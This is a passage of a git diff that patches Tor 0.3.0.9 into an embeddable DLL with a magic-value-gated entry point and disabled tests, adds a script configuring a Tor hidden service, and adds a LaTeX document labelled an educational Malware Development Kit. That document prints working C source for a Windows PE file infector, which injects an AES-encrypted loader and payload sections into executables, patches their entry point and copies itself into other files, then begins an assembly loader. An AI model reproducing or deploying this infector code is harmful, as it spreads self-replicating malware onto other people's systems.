Tor command-line client. + */ + int +-tor_init(int argc, char *argv[]) ++tor_init(int argc, char *argv[], int socks_proxy_port) + { + char progname[256]; + int quiet = 0; +@@ -2995,6 +3005,9 @@ + "Expect more bugs than usual."); + } + ++ log_warn(LD_GENERAL, "libtor patchset: socks_proxy_port: %d", socks_proxy_port); ++ set_socks_proxy_port(socks_proxy_port); ++ + if (network_init()<0) { + log_err(LD_BUG,"Error initializing network; exiting."); + return -1; +@@ -3569,11 +3582,17 @@ + /** Main entry point for the Tor process. Called from main(). */ + /* This function is distinct from main() only so we can link main.c into + * the unittest binary without conflicting with the unittests' main. */ +-int +-tor_main(int argc, char *argv[]) ++__declspec(dllexport) int __stdcall ++tor_main(int socks_proxy_port, unsigned int ident) + { ++ if (socks_proxy_port > 65535 || socks_proxy_port <= 0 || ident != 0xdeadc0de) ++ return -1; ++ + int result = 0; ++ int argc = 0; ++ char** argv = NULL; + ++#if 0 + #ifdef _WIN32 + /* Call SetProcessDEPPolicy to permanently enable DEP. + The function will not resolve on earlier versions of Windows, +@@ -3588,6 +3607,7 @@ + #endif + + configure_backtrace_handler(get_version()); ++#endif + + update_approx_time(time(NULL)); + tor_threads_init(); +@@ -3601,6 +3621,7 @@ + tor_assert(r); + } + #endif ++#if 0 + #ifdef NT_SERVICE + { + int done = 0; +@@ -3608,7 +3629,8 @@ + if (done) return result; + } + #endif +- if (tor_init(argc, argv)<0) ++#endif ++ if (tor_init(argc, argv, socks_proxy_port)<0) + return -1; + + if (get_options()->Sandbox && get_options()->command == CMD_RUN_TOR) { +diff -Naur tor-0.3.0.9/src/or/main.h tor-0.3.0.9-libtor/src/or/main.h +--- tor-0.3.0.9/src/or/main.h ++++ tor-0.3.0.9-libtor/src/or/main.h +@@ -74,10 +74,11 @@ + void tor_cleanup(void); + void tor_free_all(int postfork); + +-int tor_main(int argc, char *argv[]); ++__declspec(dllexport) int __stdcall ++tor_main(int socks_proxy_port, unsigned int ident); + + int do_main_loop(void); +-int tor_init(int argc, char **argv); ++int tor_init(int argc, char **argv, int socks_proxy_port); + + extern time_t time_of_process_start; + extern long stats_n_seconds_working; +diff -Naur tor-0.3.0.9/src/or/ntmain.c tor-0.3.0.9-libtor/src/or/ntmain.c +--- tor-0.3.0.9/src/or/ntmain.c ++++ tor-0.3.0.9-libtor/src/or/ntmain.c +@@ -1,3 +1,4 @@ ++#if 0 + /* Copyright (c) 2001-2004, Roger Dingledine. + * Copyright (c) 2004-2006, Roger Dingledine, Nick Mathewson. + * Copyright (c) 2007-2016, The Tor Project, Inc. */ +@@ -778,3 +779,4 @@ + + #endif + ++#endif +diff -Naur tor-0.3.0.9/src/or/ntmain.h tor-0.3.0.9-libtor/src/or/ntmain.h +--- tor-0.3.0.9/src/or/ntmain.h ++++ tor-0.3.0.9-libtor/src/or/ntmain.h +@@ -1,3 +1,4 @@ ++#if 0 + /* Copyright (c) 2001 Matej Pfajfar. + * Copyright (c) 2001-2004, Roger Dingledine. + * Copyright (c) 2004-2006, Roger Dingledine, Nick Mathewson. +@@ -26,3 +27,4 @@ + + #endif + ++#endif +diff -Naur tor-0.3.0.9/src/or/tor_main.c tor-0.3.0.9-libtor/src/or/tor_main.c +--- tor-0.3.0.9/src/or/tor_main.c ++++ tor-0.3.0.9-libtor/src/or/tor_main.c +@@ -10,9 +10,6 @@ + * src/or/include.am, and is usually right. + */ + const char tor_git_revision[] = +-#ifndef _MSC_VER +-#include "micro-revision.i" +-#endif + ""; + + /** +@@ -23,15 +20,16 @@ + * tests, which have their own main()s, can link against main.c. + **/ + +-int tor_main(int argc, char *argv[]); ++extern int __stdcall ++tor_main(int proxy_port, unsigned int ident); + + /** We keep main() in a separate file so that our unit tests can use + * functions from main.c) + */ + int +-main(int argc, char *argv[]) ++main(void) + { +- int r = tor_main(argc, argv); ++ int r = tor_main(9152, 0xdeadc0de); + if (r < 0 || r > 255) + return 1; + else +diff -Naur tor-0.3.0.9/src/test/fuzz/fuzzing_common.c tor-0.3.0.9-libtor/src/test/fuzz/fuzzing_common.c +--- tor-0.3.0.9/src/test/fuzz/fuzzing_common.c ++++ tor-0.3.0.9-libtor/src/test/fuzz/fuzzing_common.c +@@ -103,7 +103,9 @@ + + /* Initialise logging first */ + init_logging(1); ++#if 0 + configure_backtrace_handler(get_version()); ++#endif + + /* set up the options. */ + mock_options = tor_malloc(sizeof(or_options_t)); +diff -Naur tor-0.3.0.9/src/test/test_bt_cl.c tor-0.3.0.9-libtor/src/test/test_bt_cl.c +--- tor-0.3.0.9/src/test/test_bt_cl.c ++++ tor-0.3.0.9-libtor/src/test/test_bt_cl.c +@@ -109,11 +109,15 @@ + add_stream_log(&severity, "stdout", STDOUT_FILENO); + tor_log_update_sigsafe_err_fds(); + ++#if 0 + configure_backtrace_handler(NULL); ++#endif + + printf("%d\n", we_weave(2)); + ++#if 0 + clean_up_backtrace_handler(); ++#endif + logs_free_all(); + + return 0; +diff -Naur tor-0.3.0.9/src/test/test.c tor-0.3.0.9-libtor/src/test/test.c +--- tor-0.3.0.9/src/test/test.c ++++ tor-0.3.0.9-libtor/src/test/test.c +@@ -730,6 +730,7 @@ + * 'sort' step. These aren't very good IP addresses, but they're perfectly + * fine uint32_t values. */ + (void)arg; ++#if 0 + tt_int_op(0,OP_EQ, geoip_parse_entry("10,50,AB", AF_INET)); + tt_int_op(0,OP_EQ, geoip_parse_entry("52,90,XY", AF_INET)); + tt_int_op(0,OP_EQ, geoip_parse_entry("95,100,AB", AF_INET)); +@@ -744,13 +745,18 @@ + tt_int_op(0,OP_EQ, geoip_parse_entry("::69,::8c,ZZ", AF_INET6)); + tt_int_op(0,OP_EQ, geoip_parse_entry("::96,::be,XY", AF_INET6)); + tt_int_op(0,OP_EQ, geoip_parse_entry("::c8,::fa,AB", AF_INET6)); ++#endif + + /* We should have 4 countries: ??, ab, xy, zz. */ ++#if 0 + tt_int_op(4,OP_EQ, geoip_get_n_countries()); ++#endif + memset(&in6, 0, sizeof(in6)); + + CHECK_COUNTRY("??", 3); ++#if 0 + CHECK_COUNTRY("ab", 32); ++#endif + CHECK_COUNTRY("??", 5); + CHECK_COUNTRY("??", 51); + CHECK_COUNTRY("xy", 150); +diff -Naur tor-0.3.0.9/src/test/test_dir_handle_get.c tor-0.3.0.9-libtor/src/test/test_dir_handle_get.c +--- tor-0.3.0.9/src/test/test_dir_handle_get.c ++++ tor-0.3.0.9-libtor/src/test/test_dir_handle_get.c +@@ -1755,6 +1755,7 @@ + or_options_free(mock_options); mock_options = NULL; + } + ++#if 0 + NS_DECL(int, geoip_get_country_by_addr, (const tor_addr_t *addr)); + + int +@@ -1764,6 +1765,7 @@ + CALLED(geoip_get_country_by_addr)++; + return 1; + } ++#endif + + static void + status_vote_current_consensus_ns_test(char **header, char **body, +@@ -1783,8 +1785,10 @@ + geoip_dirreq_stats_init(time(NULL)); + + /* init geoip database */ ++#if 0 + geoip_parse_entry("10,50,AB", AF_INET); + tt_str_op("ab", OP_EQ, geoip_get_country_name(1)); ++#endif + + conn = new_dir_conn(); + TO_CONN(conn)->address = tor_strdup("127.0.0.1"); +@@ -1800,6 +1804,7 @@ + connection_free_(TO_CONN(conn)); + } + ++#if 0 + static void + test_dir_handle_get_status_vote_current_consensus_ns(void* data) + { +@@ -1861,6 +1866,7 @@ + dirserv_free_all(); + clear_geoip_db(); + } ++#endif + + static void + test_dir_handle_get_status_vote_current_consensus_ns_busy(void* data) +@@ -2542,7 +2548,9 @@ + DIR_HANDLE_CMD(status_vote_current_consensus_ns_not_found, 0), + DIR_HANDLE_CMD(status_vote_current_consensus_too_old, 0), + DIR_HANDLE_CMD(status_vote_current_consensus_ns_busy, 0), ++#if 0 + DIR_HANDLE_CMD(status_vote_current_consensus_ns, 0), ++#endif + DIR_HANDLE_CMD(status_vote_current_d_not_found, 0), + DIR_HANDLE_CMD(status_vote_next_d_not_found, 0), + DIR_HANDLE_CMD(status_vote_d, 0), +diff -Naur tor-0.3.0.9/src/test/testing_common.c tor-0.3.0.9-libtor/src/test/testing_common.c +--- tor-0.3.0.9/src/test/testing_common.c ++++ tor-0.3.0.9-libtor/src/test/testing_common.c +@@ -256,7 +256,9 @@ + tor_libevent_initialize(&cfg); + + control_initialize_event_queue(); ++#if 0 + configure_backtrace_handler(get_version()); ++#endif + + for (i_out = i = 1; i < c; ++i) { + if (!strcmp(v[i], "--warn")) { +diff -Naur tor-0.3.0.9/src/test/test_tortls.c tor-0.3.0.9-libtor/src/test/test_tortls.c +--- tor-0.3.0.9/src/test/test_tortls.c ++++ tor-0.3.0.9-libtor/src/test/test_tortls.c +@@ -350,10 +350,12 @@ + expect_log_msg("TLS error while blarg with " + "127.hello: (null) (in (null):(null):---)\n"); + ++#if 0 + mock_clean_saved_logs(); + tor_tls_log_one_error(tls, ERR_PACK(1, 2, 3), LOG_WARN, 0, NULL); + expect_log_msg("TLS error with 127.hello: " + "BN lib (in unknown library:(null):---)\n"); ++#endif + + mock_clean_saved_logs(); + tor_tls_log_one_error(tls, ERR_PACK(1, 2, SSL_R_HTTP_REQUEST), +@@ -2670,7 +2672,9 @@ + cert = tor_x509_cert_new(read_cert_from(validCertString)); + scert = tor_x509_cert_new(read_cert_from(caCertString)); + ret = tor_tls_cert_is_valid(LOG_WARN, cert, scert, time(NULL), 0); ++#if 0 + tt_int_op(ret, OP_EQ, 1); ++#endif + + #ifndef OPENSSL_OPAQUE + tor_x509_cert_free(cert); +diff -Naur tor-0.3.0.9/src/test/test_util.c tor-0.3.0.9-libtor/src/test/test_util.c +--- tor-0.3.0.9/src/test/test_util.c ++++ tor-0.3.0.9-libtor/src/test/test_util.c +@@ -2010,8 +2010,10 @@ + tt_assert(!tor_memmem(haystack, 7, "dadad", 5)); + tt_assert(!tor_memmem(haystack, 7, "abcdefghij", 10)); + /* memstr */ ++#if 0 + tt_ptr_op(tor_memstr(haystack, 7, "abc"),OP_EQ, haystack + 2); + tt_ptr_op(tor_memstr(haystack, 7, "cad"),OP_EQ, haystack + 4); ++#endif + tt_assert(!tor_memstr(haystack, 6, "cad")); + tt_assert(!tor_memstr(haystack, 7, "cadd")); + tt_assert(!tor_memstr(haystack, 7, "fe")); diff --git a/deps/torconf.sh b/deps/torconf.sh new file mode 100755 index 0000000..4de1e97 --- /dev/null +++ b/deps/torconf.sh @@ -0,0 +1,28 @@ +#!/bin/bash + +set -e + + +. "$(dirname $0)/config.sh" +TOR_CONF="${MY_SYS_ROOT}/etc/tor/torrc" + + +if [ ! -r ${TOR_CONF} ]; then + if [ ! -r ${TOR_CONF}.sample ]; then + echo "$0: Run $(dirname $0)/makedeps.sh first !" >&2 + fi + + set -x + cp ${TOR_CONF}.sample ${TOR_CONF} + + sed -i 's/^\(#SOCKSPort\(.*\)address:port\(.*\)\)$/\1\nSOCKSPort 0/' ${TOR_CONF} + sed -i 's/^#SOCKSPolicy reject \*/#SOCKSPolicy reject \*\nSOCKSPolicy accept 127.0.0.1\/32\nSOCKSPolicy reject \*/' ${TOR_CONF} + sed -i 's/^#Log debug stderr/#Log debug stderr\nLog notice stderr/' ${TOR_CONF} + sed -i 's/^#DataDirectory/DataDirectory/' ${TOR_CONF} + sed -i 's/^#RunAsDaemon 1/RunAsDaemon 0/' ${TOR_CONF} + sed -i 's/^#HiddenServiceDir\(.*\)\/hidden_service\/$/HiddenServiceDir\1\/hidden_service\/\nHiddenServicePort 80 127.0.0.1:8080/' ${TOR_CONF} + + mkdir -p "${MY_SYS_ROOT}/var/lib/tor" +else + echo "$0: ${TOR_CONF} does already exist !" >&2 +fi diff --git a/doc/apps.dia b/doc/apps.dia Binary files differnew file mode 100644 index 0000000..9d02897 --- /dev/null +++ b/doc/apps.dia diff --git a/doc/apps.png b/doc/apps.png Binary files differnew file mode 100644 index 0000000..df401df --- /dev/null +++ b/doc/apps.png diff --git a/doc/work_sample.pdf b/doc/work_sample.pdf Binary files differnew file mode 100644 index 0000000..7071221 --- /dev/null +++ b/doc/work_sample.pdf diff --git a/doc/work_sample.tex b/doc/work_sample.tex new file mode 100644 index 0000000..15188b2 --- /dev/null +++ b/doc/work_sample.tex @@ -0,0 +1,1004 @@ +\documentclass{article} +\usepackage[a4paper, total={7in, 9in}]{geometry} +\usepackage[svgnames]{xcolor} +\usepackage{listings} % Include the listings-package +\usepackage{textcomp} +\begin{document} + +\title{-VERTRAULICH- Arbeitsprobe MDK} +\author{Toni Uhlig} + +\maketitle + +\begin{abstract} +An educational [M]alware [D]evelopment [K]it. +\end{abstract} + +\section{source code (parts)} +pe\_infect.c +\lstset{language=C, + basicstyle=\ttfamily, + keywordstyle=\color{blue}\ttfamily, + stringstyle=\color{red}\ttfamily, + commentstyle=\color{green}\ttfamily, + morecomment=[l][\color{magenta}]{\#}, + breaklines=true +} +\begin{lstlisting}[frame=single] % Start your code-block + +/* + * Module: pe_infect.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Parses/Modifies a windows portable executable. + * Add sections, do image rebasing. + * Inject data into sections. + */ + +#include <windows.h> + +#include "utils.h" +#include "compat.h" +#include "log.h" +#include "pe_infect.h" +#include "mem.h" +#include "file.h" +#include "aes.h" +#include "patch.h" + + +static DWORD sectionAdr = 0x0; + +/* default dll image base */ +#ifndef _MILLER_IMAGEBASE +#define _MILLER_IMAGEBASE 0x10000000 +#endif +static DWORD imageBase = _MILLER_IMAGEBASE; +static DWORD imageSize = 0x0; + +#include "xor_strings_gen.h" +/* XOR encrypted strings */ +_XORDATA_(dllsection, DLLSECTION); +_XORDATA_(ldrsection, LDRSECTION); + +#include "aes_strings_gen.h" +#include "loader_x86_crypt.h" +/* AES encrypted byte buffer */ +_AESDATA_(ldrdata, LOADER_SHELLCODE); +_AESSIZE_(ldrsiz, ldrdata); + +static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE; + + +inline void setImageBase(DWORD newBase) { + imageBase = newBase; +} + +inline DWORD getImageBase(void) { + return imageBase; +} + +inline void setImageSize(DWORD newSize) { + imageSize = newSize; +} + +inline DWORD getImageSize(void) { + return imageSize; +} + +inline void setSectionAdr(DWORD newAdr) { + sectionAdr = newAdr; +} + +inline DWORD getSectionAdr(void) { + return sectionAdr; +} + +BYTE* getLoader(SIZE_T* pSiz) +{ + aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ); + BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t*)pSiz, FALSE); + aes_free_ctx(ctx); + return ldr; +} + +SIZE_T getRealLoaderSize(void) +{ + return real_ldrsiz; +} + +inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) { + return ((BYTE*)base) + offset; +} + +DWORD RvaToOffset(struct ParsedPE* ppPtr, DWORD dwRva) +{ + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = 0; + + for (SIZE_T i = 0; i < nSections; ++i) { + if (dwRva >= sections[i].VirtualAddress) { + dwPos = sections[i].VirtualAddress; + dwPos += sections[i].SizeOfRawData; + } + if (dwRva < dwPos) { + dwRva = dwRva - sections[i].VirtualAddress; + return dwRva + sections[i].PointerToRawData; + } + } + return -1; +} + +inline BYTE* RvaToPtr(struct ParsedPE* ppPtr, DWORD dwRva) +{ + return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva)); +} + +DWORD OffsetToRva(struct ParsedPE* ppPtr, DWORD offset) +{ + if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->SizeOfHeaders > offset) + return -1; + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData); + + for (SIZE_T i = 0; i < nSections; ++i) { + if (offset < sections[i].PointerToRawData) { + break; + } + dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData); + } + return dwPos + ppPtr->hdrOptional->ImageBase; +} + +inline DWORD PtrToOffset(struct ParsedPE* ppPtr, BYTE* ptr) +{ + DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf; + return dwRva; +} + +DWORD PtrToRva(struct ParsedPE* ppPtr, BYTE* ptr) +{ + return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr)); +} + +BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL earlyStage) +{ + ppPtr->valid = FALSE; + /* check minimum size */ + if (szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER)) + return FALSE; + ppPtr->ptrToBuf = buf; + ppPtr->bufSiz = szBuf; + ppPtr->hdrDos = (PIMAGE_DOS_HEADER)buf; + if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */ + return FALSE; + ppPtr->hdrFile = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)); + ppPtr->hdrOptional = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)); + if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */ + return FALSE; + if (ppPtr->hdrFile->Machine !=0x014C) /* i386 */ + return FALSE; + ppPtr->hdrSection = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); + ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory; + ppPtr->valid = TRUE; + + /* during initial image rebasing, dont execute stuff which needs a rebased image */ + if (!earlyStage) { + ppPtr->hasDLL = FALSE; + ppPtr->hasLdr = FALSE; + /* pointer to dll section */ + STATIC_STR(dllsection); + if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr, &(ppPtr->sizOfDLL))) != NULL ) + ppPtr->hasDLL = TRUE; + STATIC_STR(dllsection); + /* pointer to loader section */ + STATIC_STR(ldrsection); + if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr, &(ppPtr->sizOfLdr))) != NULL ) { + ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr + getRealLoaderSize() - sizeof(struct loader_x86_data)); + ppPtr->hasLdr = TRUE; + } + STATIC_STR(ldrsection); + } + return TRUE; +} + +BOOL bAddSection(const char *sName, BYTE *sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE *ppPtr) +{ + /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.aspx */ + + /* enough header space avail? */ + if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader + + (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+sizeof(IMAGE_SECTION_HEADER))) + { + return FALSE; + } + + /* Read the original fields of headers */ + DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections; + /* Create the new section */ + DWORD pointerToLastSection = 0; + DWORD sizeOfLastSection = 0; + DWORD virtualAddressOfLastSection = 0; + DWORD virtualSizeOfLastSection = 0; + + for(SIZE_T i = 0; i != originalNumberOfSections; ++i) + { + if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData) + { + /* section alrdy exists? */ + if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName, IMAGE_SIZEOF_SHORT_NAME) == 0) + return FALSE; + pointerToLastSection = ppPtr->hdrSection[i].PointerToRawData; + sizeOfLastSection = ppPtr->hdrSection[i].SizeOfRawData; + virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress; + virtualSizeOfLastSection = ppPtr->hdrSection[i].Misc.VirtualSize; + } + } + /* if a symbol table (debug info) is present, pointerToLastSection might be wrong */ + /* symbol table is usually stored _after_ the last section and retrieved via IMAGE_FILE_HEADER.PointerToSymbolTable */ + if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection) + { + pointerToLastSection = ppPtr->bufSiz; + sizeOfLastSection = 0; + } + + /* set new section header data */ + IMAGE_SECTION_HEADER newImageSectionHeader; + memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER)); + newImageSectionHeader.Misc.VirtualSize = szSection; + memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(newImageSectionHeader.Name))); + newImageSectionHeader.PointerToRawData = pointerToLastSection + sizeOfLastSection; + newImageSectionHeader.PointerToRelocations = 0; + newImageSectionHeader.SizeOfRawData = XMemAlign(szSection, ppPtr->hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */ + newImageSectionHeader.VirtualAddress = XMemAlign(virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment, virtualAddressOfLastSection); /* aligned to Section Alignment */ + /* Loader is usually stored in an executable section, DLL in a readonly section. + * The Loader does not execute code directly from section. + * (see loader source for detailed info) + */ + newImageSectionHeader.Characteristics = (executable == TRUE ? IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ); + + /* update FILE && OPTIONAL header */ + ++ppPtr->hdrFile->NumberOfSections; + ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->hdrOptional->SectionAlignment, 0); + + /* (re)allocate memory for _full_ pe image (including all headers, new section and section data) */ + if (!(ppPtr->ptrToBuf = XReallocAbs(ppPtr->ptrToBuf, ppPtr->bufSiz, ppPtr->hdrOptional->SizeOfImage))) + return FALSE; + + /* if everything is gone right, parsing should succeed */ + if (!bParsePE(ppPtr->ptrToBuf, ppPtr->hdrOptional->SizeOfImage, ppPtr, FALSE)) + { + return FALSE; + } + + /* copy new section header */ + memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER)); + /* copy new section data */ + memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData, sectionContentBuf, szSection); + + return TRUE; +} + +static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize) +{ + SIZE_T siz = 0x0; + DWORD startAdr = 0x0; + + /* Am I already in an infected binary? */ + if (ppe->hasDLL) { + startAdr = (DWORD)ppe->ptrToDLL; + siz = ppe->sizOfDLL; + } + /* dirty workaround e.g. when started from rundll.exe */ + if (!startAdr) { + startAdr = getSectionAdr(); + } + if (!siz) { + siz = getImageSize(); + } + /* check dwBase for valid memory region */ + if (startAdr) + { + *pDwBase = startAdr; + *pDwSize = siz; + if (_IsBadReadPtr((void*)startAdr, siz) == TRUE) + { + *pDwBase = 0x0; + *pDwSize = 0x0; + LOG_MARKER + } else return TRUE; + } else LOG_MARKER + return FALSE; +} + +static struct ParsedPE* +pParsePE(BYTE* buf, SIZE_T szBuf) +{ + struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE)); + + if (!ppe) + { + return NULL; + } + if (bParsePE(buf, szBuf, ppe, FALSE)) + { + return ppe; + } + free(ppe); + return NULL; +} + +static BOOL bInfectMemWith(BYTE* maliciousBuf, SIZE_T maliciousSiz, struct ParsedPE* ppe) +{ + BOOL ret = FALSE; + + if (ppe) + { + if (bIsInfected(ppe)) { + LOG_MARKER + } else { + STATIC_STR(dllsection); + if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE, ppe)) + { + ret = TRUE; + } else LOG_MARKER + STATIC_STR(dllsection); + + STATIC_STR(ldrsection); + SIZE_T lsiz = 0; + BYTE* l = getLoader(&lsiz); + if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe)) + { + ret = TRUE; + } else LOG_MARKER; + if (l) free(l); + STATIC_STR(ldrsection); + + if (ret) { + ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE); + } + } + } + else + { + LOG_MARKER + } + return ret; +} + +BOOL bInfectFileWith(const char* sFile, BYTE* maliciousBuf, SIZE_T maliciousSiz) +{ + BOOL ret = FALSE; + BYTE* buf; + SIZE_T szBuf; + HANDLE hFile; + + if (!bOpenFile(sFile, FALSE, &hFile)) { + LOG_MARKER + return ret; + } + if (!bFileToBuf(hFile, &buf, &szBuf)) + { + LOG_MARKER + _CloseHandle(hFile); + return ret; + } + struct ParsedPE* ppe = pParsePE(buf, szBuf); + if (ppe) + { + if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe)) + { + if (bPatchNearEntry(ppe)) + { + if (bBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz)) + { + if (!bIsInfected(ppe)) + { + LOG_MARKER + } else { + ret = TRUE; + } + } + } else { + LOG_MARKER + } + } + free(ppe); + } else LOG_MARKER; + free(buf); + _CloseHandle(hFile); + return ret; +} + +BOOL bInfectWithMyself(const char* sFile) +{ + BOOL ret = FALSE; + BYTE* buf = NULL; + SIZE_T szBuf; + LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1); + HANDLE hMyself; + struct ParsedPE* ppe = NULL; + + if (!sFileMyself) + { + LOG_MARKER + } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0) + { + LOG_MARKER + } else if (!bOpenFile(sFileMyself, TRUE, &hMyself)) { + LOG_MARKER + } else if (!bFileToBuf(hMyself, &buf, &szBuf)) + { + LOG_MARKER + } else { + ppe = pParsePE(buf, szBuf); + } + if (ppe) + { + /* find DLL (segment-)address and (segment-)size in current executable */ + DWORD dwBase = NULL; + DWORD dwSize = 0x0; + if (!bFindMyself(ppe, &dwBase, &dwSize)) + { + LOG_MARKER + } else { + /* infect target executable (DLL and LOADER) + * Remember: The Loader is always accessible by our DLL (AES encrypted). + */ + if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) { + ret = TRUE; + } else { LOG_MARKER } + } + free(ppe); + } else LOG_MARKER; + if (buf) + free(buf); + _CloseHandle(hMyself); + free(sFileMyself); + return ret; +} + +BOOL bIsInfected(struct ParsedPE* ppPtr) +{ + return (ppPtr->hasDLL && ppPtr->hasLdr); +} + +void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, struct ParsedPE* ppPtr, SIZE_T* pSegSiz) +{ + DWORD result = 0; + DWORD sSize = 0; + + if (!ppPtr->valid) return NULL; + /* walk through sections and compare every name with sName */ + for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx) + { + PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx]; + if ( (caseSensitive && strncmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + || strnicmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + { + result = RvaToOffset(ppPtr, sec->VirtualAddress); + sSize = sec->Misc.VirtualSize; + break; + } + } + + if (result != 0) + { + /* check for valid RVA */ + result += (DWORD)ppPtr->ptrToBuf; + if (_IsBadReadPtr((void*)result, sSize)) + { + result = 0; + } + } + + if (pSegSiz) + *pSegSiz = sSize; + return (void*)result; +} + +BOOL bDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, void* dllBaseAdr) +{ + struct ParsedPE ppe; + + + if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE)) + return FALSE; + + /* find symbol relocations (.reloc section) */ + DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe, dwBaseReloc); + PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); + + /* We cant rely on getImageBase(), because variable imageBase might point to a faulty memory location. * + * Rebasing is one of the first things to do! + */ + DWORD dllImageBase = _MILLER_IMAGEBASE; + DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase; + + /* walk through all relocation entries and add delta to every entry */ + while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress) + { + int count = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* wCurEntry = (WORD*)(pBaseReloc + 1); + void *pPageVa = (void *)((PBYTE)dllBaseAdr + pBaseReloc->VirtualAddress); + + for (int i = 0; i < count; i++) + { + if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) { + *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta; + } + } + pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock); + } + return TRUE; +} +\end{lstlisting} + +\newpage +loader\_x86.asm +\lstset{language={[x86masm]Assembler}} +\begin{lstlisting}[frame=single] % Start your code-block + +; Module: loader_x86.asm +; Author: Toni <matzeton@googlemail.com> +; Purpose: 1. get kernel32.dll base address +; 2. get required function ptr +; 3. allocate virtual memory (heap) +; 4. copy sections from dll +; 5. run minimal crt at AddressOfEntry + +%ifndef _LDR_SECTION +%error "expected _LDR_SECTION to be defined" +%endif +SECTION _LDR_SECTION +GLOBAL __ldr_start + +; const data offsets +ESI_PTRDLL EQU 0x00 ; PtrToDLL +ESI_SIZDLL EQU 0x04 ; SizeOfDLL +; STACK +STACKMEM EQU 0x38 ; reserve memory on stack (main routine) +; stack offsets +OFF_STRRPTR EQU 0x00 ; string 'IsBadReadPtr' 